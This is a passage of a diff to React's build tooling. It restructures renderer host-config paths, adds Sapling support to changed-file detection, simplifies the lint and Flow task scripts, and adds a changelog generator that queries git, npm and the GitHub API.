+      'react-dom-bindings/src/server/ReactDOMFlightServerHostDispatcher.js',
+      'react-dom-bindings/src/server/ReactFlightServerConfigDOM.js',
+      'react-dom-bindings/src/shared/ReactFlightClientConfigDOM.js',
+      'react-server-dom-turbopack',
+      'react-server-dom-turbopack/client',
+      'react-server-dom-turbopack/client.browser',
+      'react-server-dom-turbopack/server.browser',
+      'react-server-dom-turbopack/static.browser',
+      'react-server-dom-turbopack/src/client/ReactFlightDOMClientBrowser.js', // react-server-dom-turbopack/client.browser
+      'react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopack.js',
+      'react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopackBrowser.js',
+      'react-server-dom-turbopack/src/client/react-flight-dom-client.browser',
+      'react-server-dom-turbopack/src/server/react-flight-dom-server.browser',
+      'react-server-dom-turbopack/src/server/ReactFlightDOMServerBrowser.js', // react-server-dom-turbopack/src/server/react-flight-dom-server.browser
       'react-devtools',
       'react-devtools-core',
       'react-devtools-shell',
       'react-devtools-shared',
       'shared/ReactDOMSharedInternals',
+      'react-server/src/ReactFlightServerConfigDebugNoop.js',
     ],
     isFlowTyped: true,
     isServerSupported: true,
   },
   {
-    shortName: 'dom-browser-turbopack',
+    shortName: 'dom-browser-parcel',
     entryPoints: [
-      'react-server-dom-turbopack/client.browser',
-      'react-server-dom-turbopack/server.browser',
+      'react-server-dom-parcel/src/client/react-flight-dom-client.browser',
+      'react-server-dom-parcel/src/server/react-flight-dom-server.browser',
     ],
     paths: [
       'react-dom',
@@ -266,19 +376,25 @@ module.exports = [
       'react-dom/server',
       'react-dom/server.node',
       'react-dom-bindings',
-      'react-server-dom-turbopack',
-      'react-server-dom-turbopack/client',
-      'react-server-dom-turbopack/client.browser',
-      'react-server-dom-turbopack/server.browser',
-      'react-server-dom-turbopack/src/ReactFlightDOMClientBrowser.js', // react-server-dom-turbopack/client.browser
-      'react-server-dom-turbopack/src/ReactFlightDOMServerBrowser.js', // react-server-dom-turbopack/server.browser
-      'react-server-dom-turbopack/src/ReactFlightClientConfigBundlerTurbopack.js',
-      'react-server-dom-turbopack/src/ReactFlightClientConfigBundlerTurbopackBrowser.js',
+      'react-dom-bindings/src/server/ReactDOMFlightServerHostDispatcher.js',
+      'react-dom-bindings/src/server/ReactFlightServerConfigDOM.js',
+      'react-dom-bindings/src/shared/ReactFlightClientConfigDOM.js',
+      'react-server-dom-parcel',
+      'react-server-dom-parcel/client',
+      'react-server-dom-parcel/client.browser',
+      'react-server-dom-parcel/server.browser',
+      'react-server-dom-parcel/static.browser',
+      'react-server-dom-parcel/src/client/ReactFlightDOMClientBrowser.js', // react-server-dom-parcel/client.browser
+      'react-server-dom-parcel/src/client/ReactFlightClientConfigBundlerParcel.js',
+      'react-server-dom-parcel/src/client/react-flight-dom-client.browser',
+      'react-server-dom-parcel/src/server/react-flight-dom-server.browser',
+      'react-server-dom-parcel/src/server/ReactFlightDOMServerBrowser.js', // react-server-dom-parcel/src/server/react-flight-dom-server.browser
       'react-devtools',
       'react-devtools-core',
       'react-devtools-shell',
       'react-devtools-shared',
       'shared/ReactDOMSharedInternals',
+      'react-server/src/ReactFlightServerConfigDebugNoop.js',
     ],
     isFlowTyped: true,
     isServerSupported: true,
@@ -288,8 +404,8 @@ module.exports = [
     entryPoints: [
       'react-dom/src/server/react-dom-server.edge.js',
       'react-dom/static.edge',
-      'react-server-dom-webpack/server.edge',
-      'react-server-dom-webpack/client.edge',
+      'react-server-dom-webpack/src/client/react-flight-dom-client.edge',
+      'react-server-dom-webpack/src/server/react-flight-dom-server.edge',
     ],
     paths: [
       'react-dom',
@@ -303,19 +419,25 @@ module.exports = [
       'react-dom/src/server/react-dom-server.edge',
       'react-dom/src/server/ReactDOMFizzServerEdge.js', // react-dom/server.edge
       'react-dom/src/server/ReactDOMFizzStaticEdge.js',
+      'react-dom-bindings/src/server/ReactDOMFlightServerHostDispatcher.js',
+      'react-dom-bindings/src/server/ReactFlightServerConfigDOM.js',
+      'react-dom-bindings/src/shared/ReactFlightClientConfigDOM.js',
       'react-server-dom-webpack',
       'react-server-dom-webpack/client.edge',
       'react-server-dom-webpack/server.edge',
-      'react-server-dom-webpack/src/ReactFlightDOMClientEdge.js', // react-server-dom-webpack/client.edge
-      'react-server-dom-webpack/src/ReactFlightDOMServerEdge.js', // react-server-dom-webpack/server.edge
-      'react-server-dom-webpack/src/ReactFlightClientConfigBundlerWebpack.js',
-      'react-server-dom-webpack/src/ReactFlightClientConfigBundlerWebpackServer.js',
+      'react-server-dom-webpack/static.edge',
+      'react-server-dom-webpack/src/client/ReactFlightDOMClientEdge.js', // react-server-dom-webpack/client.edge
+      'react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpack.js',
+      'react-server-dom-webpack/src/client/ReactFlightClientConfigBundlerWebpackServer.js',
+      'react-server-dom-webpack/src/client/react-flight-dom-client.edge',
+      'react-server-dom-webpack/src/server/react-flight-dom-server.edge',
+      'react-server-dom-webpack/src/server/ReactFlightDOMServerEdge.js', // react-server-dom-webpack/src/server/react-flight-dom-server.edge
       'react-devtools',
       'react-devtools-core',
       'react-devtools-shell',
       'react-devtools-shared',
       'shared/ReactDOMSharedInternals',
-      'react-server/src/ReactFlightServerConfigDebugNode.js',
+      'react-server/src/ReactFlightServerConfigDebugNoop.js',
     ],
     isFlowTyped: true,
     isServerSupported: true,
@@ -323,8 +445,8 @@ module.exports = [
   {
     shortName: 'dom-edge-turbopack',
     entryPoints: [
-      'react-server-dom-turbopack/server.edge',
-      'react-server-dom-turbopack/client.edge',
+      'react-server-dom-turbopack/src/client/react-flight-dom-client.edge',
+      'react-server-dom-turbopack/src/server/react-flight-dom-server.edge',
     ],
     paths: [
       'react-dom',
@@ -338,19 +460,65 @@ module.exports = [
       'react-dom/src/server/react-dom-server.edge',
       'react-dom/src/server/ReactDOMFizzServerEdge.js', // react-dom/server.edge
       'react-dom/src/server/ReactDOMFizzStaticEdge.js',
+      'react-dom-bindings/src/server/ReactDOMFlightServerHostDispatcher.js',
+      'react-dom-bindings/src/server/ReactFlightServerConfigDOM.js',
+      'react-dom-bindings/src/shared/ReactFlightClientConfigDOM.js',
       'react-server-dom-turbopack',
       'react-server-dom-turbopack/client.edge',
       'react-server-dom-turbopack/server.edge',
-      'react-server-dom-turbopack/src/ReactFlightDOMClientEdge.js', // react-server-dom-webpack/client.edge
-      'react-server-dom-turbopack/src/ReactFlightDOMServerEdge.js', // react-server-dom-webpack/server.edge
-      'react-server-dom-turbopack/src/ReactFlightClientConfigBundlerTurbopack.js',
-      'react-server-dom-turbopack/src/ReactFlightClientConfigBundlerTurbopackServer.js',
+      'react-server-dom-turbopack/static.edge',
+      'react-server-dom-turbopack/src/client/ReactFlightDOMClientEdge.js', // react-server-dom-turbopack/client.edge
+      'react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopack.js',
+      'react-server-dom-turbopack/src/client/ReactFlightClientConfigBundlerTurbopackServer.js',
+      'react-server-dom-turbopack/src/client/react-flight-dom-client.edge',
+      'react-server-dom-turbopack/src/server/react-flight-dom-server.edge',
+      'react-server-dom-turbopack/src/server/ReactFlightDOMServerEdge.js', // react-server-dom-turbopack/src/server/react-flight-dom-server.edge
       'react-devtools',
       'react-devtools-core',
       'react-devtools-shell',
       'react-devtools-shared',
       'shared/ReactDOMSharedInternals',
-      'react-server/src/ReactFlightServerConfigDebugNode.js',
+      'react-server/src/ReactFlightServerConfigDebugNoop.js',
+    ],
+    isFlowTyped: true,
+    isServerSupported: true,
+  },
+  {
+    shortName: 'dom-edge-parcel',
+    entryPoints: [
+      'react-server-dom-parcel/src/client/react-flight-dom-client.edge',
+      'react-server-dom-parcel/src/server/react-flight-dom-server.edge',
+    ],
+    paths: [
+      'react-dom',
+      'react-dom/src/ReactDOMReactServer.js',
+      'react-dom-bindings',
+      'react-dom/client',
+      'react-dom/profiling',
+      'react-dom/server.edge',
+      'react-dom/static.edge',
+      'react-dom/unstable_testing',
+      'react-dom/src/server/react-dom-server.edge',
+      'react-dom/src/server/ReactDOMFizzServerEdge.js', // react-dom/server.edge
+      'react-dom/src/server/ReactDOMFizzStaticEdge.js',
+      'react-dom-bindings/src/server/ReactDOMFlightServerHostDispatcher.js',
+      'react-dom-bindings/src/server/ReactFlightServerConfigDOM.js',
+      'react-dom-bindings/src/shared/ReactFlightClientConfigDOM.js',
+      'react-server-dom-parcel',
+      'react-server-dom-parcel/client.edge',
+      'react-server-dom-parcel/server.edge',
+      'react-server-dom-parcel/static.edge',
+      'react-server-dom-parcel/src/client/ReactFlightDOMClientEdge.js', // react-server-dom-parcel/client.edge
+      'react-server-dom-parcel/src/client/ReactFlightClientConfigBundlerParcel.js',
+      'react-server-dom-parcel/src/client/react-flight-dom-client.edge',
+      'react-server-dom-parcel/src/server/react-flight-dom-server.edge',
+      'react-server-dom-parcel/src/server/ReactFlightDOMServerEdge.js', // react-server-dom-parcel/src/server/react-flight-dom-server.edge
+      'react-devtools',
+      'react-devtools-core',
+      'react-devtools-shell',
+      'react-devtools-shared',
+      'shared/ReactDOMSharedInternals',
+      'react-server/src/ReactFlightServerConfigDebugNoop.js',
     ],
     isFlowTyped: true,
     isServerSupported: true,
@@ -358,8 +526,8 @@ module.exports = [
   {
     shortName: 'dom-node-esm',
     entryPoints: [
-      'react-server-dom-esm/server.node',
       'react-server-dom-esm/client.node',
+      'react-server-dom-esm/src/server/react-flight-dom-server.node',
     ],
     paths: [
       'react-dom',
@@ -374,12 +542,18 @@ module.exports = [
       'react-dom/src/server/react-dom-server.node',
       'react-dom/src/server/ReactDOMFizzServerNode.js', // react-dom/server.node
       'react-dom/src/server/ReactDOMFizzStaticNode.js',
+      'react-dom-bindings/src/server/ReactDOMFlightServerHostDispatcher.js',
+      'react-dom-bindings/src/server/ReactFlightServerConfigDOM.js',
+      'react-dom-bindings/src/shared/ReactFlightClientConfigDOM.js',
       'react-server-dom-esm',
       'react-server-dom-esm/client.node',
       'react-server-dom-esm/server',
       'react-server-dom-esm/server.node',
-      'react-server-dom-esm/src/ReactFlightDOMServerNode.js', // react-server-dom-esm/server.node
-      'react-server-dom-esm/src/ReactFlightDOMClientNode.js', // react-server-dom-esm/client.node
+      'react-server-dom-esm/static',
+      'react-server-dom-esm/static.node',
+      'react-server-dom-esm/src/client/ReactFlightDOMClientNode.js', // react-server-dom-esm/client.node
+      'react-server-dom-esm/src/server/react-flight-dom-server.node',
+      'react-server-dom-esm/src/server/ReactFlightDOMServerNode.js', // react-server-dom-esm/src/server/react-flight-dom-server.node
       'react-devtools',
       'react-devtools-core',
       'react-devtools-shell',
@@ -400,11 +574,28 @@ module.exports = [
       'react-dom',
       'react-dom/src/ReactDOMReactServer.js',
       'react-dom-bindings',
-      'react-server-dom-webpack',
       'react-dom/src/server/ReactDOMLegacyServerImpl.js', // not an entrypoint, but only usable in *Browser and *Node files
       'react-dom/src/server/ReactDOMLegacyServerBrowser.js', // react-dom/server.browser
       'react-dom/src/server/ReactDOMLegacyServerNode.js', // react-dom/server.node
       'shared/ReactDOMSharedInternals',
+      'react-server/src/ReactFlightServerConfigDebugNoop.js',
+    ],
+    isFlowTyped: true,
+    isServerSupported: true,
+  },
+  {
+    shortName: 'markup',
+    entryPoints: [
+      'react-markup/src/ReactMarkupClient.js', // react-markup
+      'react-markup/src/ReactMarkupServer.js', // react-markup/react-markup.react-server
+    ],
+    paths: [
+      'react-dom',
+      'react-dom/src/ReactDOMReactServer.js',
+      'react-dom-bindings',
+      'react-markup',
+      'shared/ReactDOMSharedInternals',
+      'react-server/src/ReactFlightServerConfigDebugNoop.js',
     ],
     isFlowTyped: true,
     isServerSupported: true,
@@ -424,6 +615,7 @@ module.exports = [
       'react-dom-bindings',
       'react-server-dom-fb',
       'shared/ReactDOMSharedInternals',
+      'react-server/src/ReactFlightServerConfigDebugNoop.js',
     ],
     isFlowTyped: true,
     isServerSupported: true,
@@ -432,31 +624,62 @@ module.exports = [
   {
     shortName: 'native',
     entryPoints: ['react-native-renderer'],
-    paths: ['react-native-renderer'],
+    paths: [
+      'react-native-renderer',
+      'react-server/src/ReactFlightServerConfigDebugNoop.js',
+    ],
     isFlowTyped: true,
     isServerSupported: false,
   },
   {
     shortName: 'fabric',
     entryPoints: ['react-native-renderer/fabric'],
-    paths: ['react-native-renderer'],
+    paths: [
+      'react-native-renderer',
+      'react-server/src/ReactFlightServerConfigDebugNoop.js',
+    ],
     isFlowTyped: true,
     isServerSupported: false,
   },
   {
     shortName: 'test',
     entryPoints: ['react-test-renderer'],
-    paths: ['react-test-renderer'],
+    paths: [
+      'react-test-renderer',
+      'react-server/src/ReactFlightServerConfigDebugNoop.js',
+    ],
     isFlowTyped: true,
     isServerSupported: false,
   },
   {
     shortName: 'art',
     entryPoints: ['react-art'],
-    paths: ['react-art'],
+    paths: [
+      'react-art',
+      'react-server/src/ReactFlightServerConfigDebugNoop.js',
+    ],
     isFlowTyped: false, // TODO: type it.
     isServerSupported: false,
   },
+  {
+    shortName: 'noop',
+    entryPoints: [
+      'react-noop-renderer',
+      'react-noop-renderer/persistent',
+      'react-noop-renderer/server',
+      'react-noop-renderer/flight-server',
+      'react-noop-renderer/flight-client',
+    ],
+    paths: [
+      'react-noop-renderer',
+      'react-client/flight',
+      'react-server/flight',
+      'react-server/src/ReactFlightServerConfigDebugNoop.js',
+    ],
+    isFlowTyped: true,
+    isServerSupported: true,
+    isFlightSupported: true,
+  },
   {
     shortName: 'custom',
     entryPoints: [
@@ -465,7 +688,11 @@ module.exports = [
       'react-server',
       'react-server/flight',
     ],
-    paths: ['react-client/flight', 'react-server/flight'],
+    paths: [
+      'react-client/flight',
+      'react-server/flight',
+      'react-server/src/ReactFlightServerConfigDebugNoop.js',
+    ],
     isFlowTyped: true,
     isServerSupported: true,
   },
diff --git a/scripts/shared/listChangedFiles.js b/scripts/shared/listChangedFiles.js
index 2fd80d4b488c..b6449e5cc6e4 100644
--- a/scripts/shared/listChangedFiles.js
+++ b/scripts/shared/listChangedFiles.js
@@ -19,14 +19,46 @@ const exec = (command, args) => {
   return execFileSync(command, args, options);
 };
 
+const isGit = () => {
+  try {
+    const wt = execGitCmd(['rev-parse', '--is-inside-work-tree']);
+    return wt.length > 0 && wt[0] === 'true';
+  } catch (_e) {
+    return false;
+  }
+};
+
+const isSl = () => {
+  try {
+    execSlCmd(['whereami']);
+    return true;
+  } catch (_e) {
+    return false;
+  }
+};
+
 const execGitCmd = args => exec('git', args).trim().toString().split('\n');
+const execSlCmd = args => exec('sl', args).trim().toString().split('\n');
 
 const listChangedFiles = () => {
-  const mergeBase = execGitCmd(['merge-base', 'HEAD', 'main']);
-  return new Set([
-    ...execGitCmd(['diff', '--name-only', '--diff-filter=ACMRTUB', mergeBase]),
-    ...execGitCmd(['ls-files', '--others', '--exclude-standard']),
-  ]);
+  if (isGit()) {
+    const mergeBase = execGitCmd(['merge-base', 'HEAD', 'main']);
+    return new Set([
+      ...execGitCmd([
+        'diff',
+        '--name-only',
+        '--diff-filter=ACMRTUB',
+        mergeBase,
+      ]),
+      ...execGitCmd(['ls-files', '--others', '--exclude-standard']),
+    ]);
+  } else if (isSl()) {
+    const mergeBase = execSlCmd(['log', '-r', 'last(public() & ::.)'])[0]
+      .trim()
+      .split(/\s+/)[1];
+    return new Set(execSlCmd(['status', '--no-status', '--rev', mergeBase]));
+  }
+  throw new Error('Not a git or sl repo');
 };
 
 module.exports = listChangedFiles;
diff --git a/scripts/shared/pathsByLanguageVersion.js b/scripts/shared/pathsByLanguageVersion.js
index d4ee6daef3c1..4a754f3cd491 100644
--- a/scripts/shared/pathsByLanguageVersion.js
+++ b/scripts/shared/pathsByLanguageVersion.js
@@ -25,10 +25,7 @@ const esNextPaths = [
 // Files that we distribute on npm that should be ES5-only.
 const es5Paths = ['packages/*/npm/**/*.js'];
 
-const typescriptPaths = ['packages/**/*.d.ts'];
-
 module.exports = {
   esNextPaths,
   es5Paths,
-  typescriptPaths,
 };
diff --git a/scripts/tasks/eslint.js b/scripts/tasks/eslint.js
index c84976d417ac..ba7df75805e3 100644
--- a/scripts/tasks/eslint.js
+++ b/scripts/tasks/eslint.js
@@ -12,15 +12,13 @@ const runESLint = require('../eslint');
 
 async function main() {
   console.log('Linting all files...');
-  // https://circleci.com/docs/2.0/env-vars/#circleci-environment-variable-descriptions
   if (!process.env.CI) {
     console.log('Hint: run `yarn linc` to only lint changed files.');
   }
 
-  // eslint-disable-next-line no-unused-vars
-  const {_, ...cliOptions} = minimist(process.argv.slice(2));
+  const {_: paths, ...cliOptions} = minimist(process.argv.slice(2));
 
-  if (await runESLint({onlyChanged: false, ...cliOptions})) {
+  if (await runESLint({onlyChanged: false, ...cliOptions, paths})) {
     console.log('Lint passed.');
   } else {
     console.log('Lint failed.');
diff --git a/scripts/tasks/flow-ci.js b/scripts/tasks/flow-ci.js
index c30e1b974bf9..0f39d2f6ffff 100644
--- a/scripts/tasks/flow-ci.js
+++ b/scripts/tasks/flow-ci.js
@@ -14,24 +14,19 @@ process.on('unhandledRejection', err => {
 const runFlow = require('../flow/runFlow');
 const inlinedHostConfigs = require('../shared/inlinedHostConfigs');
 
-// Parallelize tests across multiple tasks.
-const nodeTotal = process.env.CIRCLE_NODE_TOTAL
-  ? parseInt(process.env.CIRCLE_NODE_TOTAL, 10)
-  : 1;
-const nodeIndex = process.env.CIRCLE_NODE_INDEX
-  ? parseInt(process.env.CIRCLE_NODE_INDEX, 10)
-  : 0;
-
-async function checkAll() {
-  for (let i = 0; i < inlinedHostConfigs.length; i++) {
-    if (i % nodeTotal === nodeIndex) {
-      const rendererInfo = inlinedHostConfigs[i];
-      if (rendererInfo.isFlowTyped) {
-        await runFlow(rendererInfo.shortName, ['check']);
-        console.log();
-      }
-    }
+async function check(shortName) {
+  if (shortName == null) {
+    throw new Error('Expected an inlinedHostConfig shortName');
+  }
+  const rendererInfo = inlinedHostConfigs.find(
+    config => config.shortName === shortName
+  );
+  if (rendererInfo == null) {
+    throw new Error(`Could not find inlinedHostConfig for ${shortName}`);
+  }
+  if (rendererInfo.isFlowTyped) {
+    await runFlow(rendererInfo.shortName, ['check']);
   }
 }
 
-checkAll();
+check(process.argv[2]);
diff --git a/scripts/tasks/generate-changelog/args.js b/scripts/tasks/generate-changelog/args.js
new file mode 100644
index 000000000000..cee42f24ecd0
--- /dev/null
+++ b/scripts/tasks/generate-changelog/args.js
@@ -0,0 +1,128 @@
+'use strict';
+
+const semver = require('semver');
+const yargs = require('yargs/yargs');
+
+const {stablePackages} = require('../../../ReactVersions');
+const {isCommandAvailable} = require('./utils');
+
+function parseArgs(argv) {
+  const parser = yargs(argv)
+    .usage(
+      'Usage: yarn generate-changelog [--codex|--claude] [--debug] [--format <text|csv|json>] [<pkg@version> ...]'
+    )
+    .example(
+      '$0 --codex eslint-plugin-react-hooks@7.0.1',
+      'Generate changelog for a single package using Codex.'
+    )
+    .example(
+      '$0 --claude react@19.3 react-dom@19.3',
+      'Generate changelog entries for multiple packages using Claude.'
+    )
+    .example(
+      '$0 --codex',
+      'Generate changelog for all stable packages using recorded versions.'
+    )
+    .option('codex', {
+      type: 'boolean',
+      describe: 'Use Codex for commit summarization.',
+    })
+    .option('claude', {
+      type: 'boolean',
+      describe: 'Use Claude for commit summarization.',
+    })
+    .option('debug', {
+      type: 'boolean',
+      describe: 'Enable verbose debug logging.',
+      default: false,
+    })
+    .option('format', {
+      type: 'string',
+      describe: 'Output format for the generated changelog.',
+      choices: ['text', 'csv', 'json'],
+      default: 'text',
+    })
+    .help('help')
+    .alias('h', 'help')
+    .version(false)
+    .parserConfiguration({
+      'parse-numbers': false,
+      'parse-positional-numbers': false,
+    });
+
+  const args = parser.scriptName('generate-changelog').parse();
+  const packageSpecs = [];
+  const debug = !!args.debug;
+  const format = args.format || 'text';
+  let summarizer = null;
+
+  if (args.codex && args.claude) {
+    throw new Error('Choose either --codex or --claude, not both.');
+  }
+  if (args.codex) {
+    summarizer = 'codex';
+  } else if (args.claude) {
+    summarizer = 'claude';
+  }
+
+  const positionalArgs = Array.isArray(args._) ? args._ : [];
+  for (let i = 0; i < positionalArgs.length; i++) {
+    const token = String(positionalArgs[i]).trim();
+    if (!token) {
+      continue;
+    }
+
+    const atIndex = token.lastIndexOf('@');
+    if (atIndex <= 0 || atIndex === token.length - 1) {
+      throw new Error(`Invalid package specification: ${token}`);
+    }
+
+    const packageName = token.slice(0, atIndex);
+    const versionText = token.slice(atIndex + 1);
+    const validVersion =
+      semver.valid(versionText) || semver.valid(semver.coerce(versionText));
+    if (!validVersion) {
+      throw new Error(`Invalid version for ${packageName}: ${versionText}`);
+    }
+
+    packageSpecs.push({
+      name: packageName,
+      version: validVersion,
+      displayVersion: versionText,
+    });
+  }
+
+  if (packageSpecs.length === 0) {
+    Object.keys(stablePackages).forEach(pkgName => {
+      const versionText = stablePackages[pkgName];
+      const validVersion = semver.valid(versionText);
+      if (!validVersion) {
+        throw new Error(
+          `Invalid stable version configured for ${pkgName}: ${versionText}`
+        );
+      }
+      packageSpecs.push({
+        name: pkgName,
+        version: validVersion,
+        displayVersion: versionText,
+      });
+    });
+  }
+
+  if (summarizer && !isCommandAvailable(summarizer)) {
+    throw new Error(
+      `Requested summarizer "${summarizer}" is not available on the PATH.`
+    );
+  }
+
+  return {
+    debug,
+    format,
+    summarizer,
+    packageSpecs,
+  };
+}
+
+module.exports = {
+  parseArgs,
+};
diff --git a/scripts/tasks/generate-changelog/data.js b/scripts/tasks/generate-changelog/data.js
new file mode 100644
index 000000000000..17e25e0a7639
--- /dev/null
+++ b/scripts/tasks/generate-changelog/data.js
@@ -0,0 +1,190 @@
+'use strict';
+
+const https = require('https');
+const path = require('path');
+
+const {execFileAsync, repoRoot} = require('./utils');
+
+async function fetchNpmInfo(packageName, {log}) {
+  const npmArgs = ['view', `${packageName}@latest`, '--json'];
+  const options = {cwd: repoRoot, maxBuffer: 10 * 1024 * 1024};
+  log(`Fetching npm info for ${packageName}...`);
+  const {stdout} = await execFileAsync('npm', npmArgs, options);
+
+  let data = stdout.trim();
+  if (!data) {
+    throw new Error(`npm view returned empty result for ${packageName}`);
+  }
+
+  let info = JSON.parse(data);
+  if (Array.isArray(info)) {
+    info = info[info.length - 1];
+  }
+
+  const version = info.version || info['dist-tags']?.latest;
+  let gitHead = info.gitHead || null;
+
+  if (!gitHead) {
+    const gitHeadResult = await execFileAsync(
+      'npm',
+      ['view', `${packageName}@${version}`, 'gitHead'],
+      {cwd: repoRoot, maxBuffer: 1024 * 1024}
+    );
+    const possibleGitHead = gitHeadResult.stdout.trim();
+    if (
+      possibleGitHead &&
+      possibleGitHead !== 'undefined' &&
+      possibleGitHead !== 'null'
+    ) {
+      log(`Found gitHead for ${packageName}@${version}: ${possibleGitHead}`);
+      gitHead = possibleGitHead;
+    }
+  }
+
+  if (!version) {
+    throw new Error(
+      `Unable to determine latest published version for ${packageName}`
+    );
+  }
+  if (!gitHead) {
+    throw new Error(
+      `Unable to determine git commit for ${packageName}@${version}`
+    );
+  }
+
+  return {
+    publishedVersion: version,
+    gitHead,
+  };
+}
+
+async function collectCommitsSince(packageName, sinceGitSha, {log}) {
+  log(`Collecting commits for ${packageName} since ${sinceGitSha}...`);
+  await execFileAsync('git', ['cat-file', '-e', `${sinceGitSha}^{commit}`], {
+    cwd: repoRoot,
+  });
+  const {stdout} = await execFileAsync(
+    'git',
+    [
+      'rev-list',
+      '--reverse',
+      `${sinceGitSha}..HEAD`,
+      '--',
+      path.posix.join('packages', packageName),
+    ],
+    {cwd: repoRoot, maxBuffer: 10 * 1024 * 1024}
+  );
+
+  return stdout
+    .trim()
+    .split('\n')
+    .map(line => line.trim())
+    .filter(Boolean);
+}
+
+async function loadCommitDetails(sha, {log}) {
+  log(`Loading commit details for ${sha}...`);
+  const format = ['%H', '%s', '%an', '%ae', '%ct', '%B'].join('%n');
+  const {stdout} = await execFileAsync(
+    'git',
+    ['show', '--quiet', `--format=${format}`, sha],
+    {cwd: repoRoot, maxBuffer: 10 * 1024 * 1024}
+  );
+
+  const [commitSha, subject, authorName, authorEmail, timestamp, ...rest] =
+    stdout.split('\n');
+  const body = rest.join('\n').trim();
+
+  return {
+    sha: commitSha.trim(),
+    subject: subject.trim(),
+    authorName: authorName.trim(),
+    authorEmail: authorEmail.trim(),
+    timestamp: +timestamp.trim() || 0,
+    body,
+  };
+}
+
+function extractPrNumber(subject, body) {
+  const patterns = [
+    /\(#(\d+)\)/,
+    /https:\/\/github\.com\/facebook\/react\/pull\/(\d+)/,
+  ];
+
+  for (let i = 0; i < patterns.length; i++) {
+    const pattern = patterns[i];
+    const subjectMatch = subject && subject.match(pattern);
+    if (subjectMatch) {
+      return subjectMatch[1];
+    }
+    const bodyMatch = body && body.match(pattern);
+    if (bodyMatch) {
+      return bodyMatch[1];
+    }
+  }
+
+  return null;
+}
+
+async function fetchPullRequestMetadata(prNumber, {log}) {
+  log(`Fetching PR metadata for #${prNumber}...`);
+  const token = process.env.GITHUB_TOKEN || process.env.GH_TOKEN || null;
+  const requestOptions = {
+    hostname: 'api.github.com',
+    path: `/repos/facebook/react/pulls/${prNumber}`,
+    method: 'GET',
+    headers: {
+      'User-Agent': 'generate-changelog-script',
+      Accept: 'application/vnd.github+json',
+    },
+  };
+  if (token) {
+    requestOptions.headers.Authorization = `Bearer ${token}`;
+  }
+
+  return new Promise(resolve => {
+    const req = https.request(requestOptions, res => {
+      let raw = '';
+      res.on('data', chunk => {
+        raw += chunk;
+      });
+      res.on('end', () => {
+        if (res.statusCode && res.statusCode >= 200 && res.statusCode < 300) {
+          try {
+            const json = JSON.parse(raw);
+            resolve({
+              authorLogin: json.user?.login || null,
+            });
+          } catch (error) {
+            process.stderr.write(
+              `Warning: unable to parse GitHub response for PR #${prNumber}: ${error.message}\n`
+            );
+            resolve(null);
+          }
+        } else {
+          process.stderr.write(
+            `Warning: GitHub API request failed for PR #${prNumber} with status ${res.statusCode}\n`
+          );
+          resolve(null);
+        }
+      });
+    });
+
+    req.on('error', error => {
+      process.stderr.write(
+        `Warning: GitHub API request errored for PR #${prNumber}: ${error.message}\n`
+      );
+      resolve(null);
+    });
+
+    req.end();
+  });
+}
+
+module.exports = {
+  fetchNpmInfo,
+  collectCommitsSince,
+  loadCommitDetails,
+  extractPrNumber,
+  fetchPullRequestMetadata,
+};
diff --git a/scripts/tasks/generate-changelog/formatters.js b/scripts/tasks/generate-changelog/formatters.js
new file mode 100644
index 000000000000..49ed2a6a1066
--- /dev/null
+++ b/scripts/tasks/generate-changelog/formatters.js
@@ -0,0 +1,228 @@
+'use strict';
+
+const {toCsvRow} = require('./utils');
+
+const NO_CHANGES_MESSAGE = 'No changes since the last release.';
+
+function buildChangelogEntries({
+  packageSpecs,
+  commitsByPackage,
+  summariesByPackage,
+  prMetadata,
+}) {
+  const entries = [];
+
+  for (let i = 0; i < packageSpecs.length; i++) {
+    const spec = packageSpecs[i];
+    const version = spec.displayVersion || spec.version;
+    const commitsForPackage = commitsByPackage.get(spec.name) || [];
+
+    if (commitsForPackage.length === 0) {
+      entries.push({
+        package: spec.name,
+        version,
+        hasChanges: false,
+        note: NO_CHANGES_MESSAGE,
+        commits: [],
+      });
+      continue;
+    }
+
+    const summaryMap = summariesByPackage.get(spec.name) || new Map();
+    const commitEntries = commitsForPackage.map(commit => {
+      let summary = summaryMap.get(commit.sha) || commit.subject;
+      if (commit.prNumber) {
+        const prPattern = new RegExp(`\\s*\\(#${commit.prNumber}\\)$`);
+        summary = summary.replace(prPattern, '').trim();
+      }
+
+      const commitSha = commit.sha;
+      const commitUrl = `https://github.com/facebook/react/commit/${commitSha}`;
+      const prNumber = commit.prNumber || null;
+      const prUrl = prNumber
+        ? `https://github.com/facebook/react/pull/${prNumber}`
+        : null;
+      const prEntry = prNumber ? prMetadata.get(prNumber) : null;
+
+      const authorLogin = prEntry?.authorLogin || null;
+      const authorName = commit.authorName || null;
+      const authorEmail = commit.authorEmail || null;
+
+      let authorUrl = null;
+      let authorDisplay = authorName || 'unknown author';
+
+      if (authorLogin) {
+        authorUrl = `https://github.com/${authorLogin}`;
+        authorDisplay = `[@${authorLogin}](${authorUrl})`;
+      } else if (authorName && authorName.startsWith('@')) {
+        const username = authorName.slice(1);
+        authorUrl = `https://github.com/${username}`;
+        authorDisplay = `[@${username}](${authorUrl})`;
+      }
+
+      const referenceType = prNumber ? 'pr' : 'commit';
+      const referenceId = prNumber ? `#${prNumber}` : commitSha.slice(0, 7);
+      const referenceUrl = prNumber ? prUrl : commitUrl;
+      const referenceLabel = prNumber
+        ? `[#${prNumber}](${prUrl})`
+        : `commit ${commitSha.slice(0, 7)}`;
+
+      return {
+        summary,
+        prNumber,
+        prUrl,
+        commitSha,
+        commitUrl,
+        author: {
+          login: authorLogin,
+          name: authorName,
+          email: authorEmail,
+          url: authorUrl,
+          display: authorDisplay,
+        },
+        reference: {
+          type: referenceType,
+          id: referenceId,
+          url: referenceUrl,
+          label: referenceLabel,
+        },
+      };
+    });
+
+    entries.push({
+      package: spec.name,
+      version,
+      hasChanges: true,
+      note: null,
+      commits: commitEntries,
+    });
+  }
+
+  return entries;
+}
+
+function renderChangelog(entries, format) {
+  if (format === 'text') {
+    const lines = [];
+    for (let i = 0; i < entries.length; i++) {
+      const entry = entries[i];
+      lines.push(`## ${entry.package}@${entry.version}`);
+      if (!entry.hasChanges) {
+        lines.push(`* ${entry.note}`);
+        lines.push('');
+        continue;
+      }
+
+      entry.commits.forEach(commit => {
+        lines.push(
+          `* ${commit.summary} (${commit.reference.label} by ${commit.author.display})`
+        );
+      });
+      lines.push('');
+    }
+
+    while (lines.length && lines[lines.length - 1] === '') {
+      lines.pop();
